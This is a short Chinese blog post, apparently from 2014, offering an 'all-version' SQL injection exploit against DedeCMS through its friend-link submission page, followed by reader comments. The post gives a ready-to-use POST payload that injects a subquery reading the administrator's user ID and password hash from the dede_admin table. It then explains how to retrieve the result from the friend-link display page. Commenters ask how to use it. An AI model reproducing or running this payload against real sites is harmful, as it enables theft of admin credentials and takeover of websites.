DedeCMS另一处全版本通杀SQL注入(无限制)

一:网站要支持申请友链
url:/plus/flink_add.php
=——————————————————–利用开始————————–
直接填写验证码,抓包
修改POST数据
写人exp:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`
&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

validate为验证码,修改提交即可
再打开友情链接
url:plus/flink.php
有个无法显示的图片,查看源码.ok

dede

 

文 / admin
8 COMMENTS
  1. 2014/04/15
    who

    没有无法显示的图片是怎么回事

    • admin
      2014/04/15
      admin
      @who
  2. 2014/04/16
    zhang

    怎么使用啊 ??

  3. 2014/04/16
    kk

    后台头痛,有菊花不能进

  4. 2014/04/17
    zhenw0

    要 审核呀

    • admin
      2014/04/18
      admin
      @zhenw0 不用的
  5. 2014/04/21
    海亮

    最好能录个视频。

  6. 2014/05/03
    小杰

    影阔,影阔,我爱你,就像老鼠爱大米!

LEAVE A REPLY

loading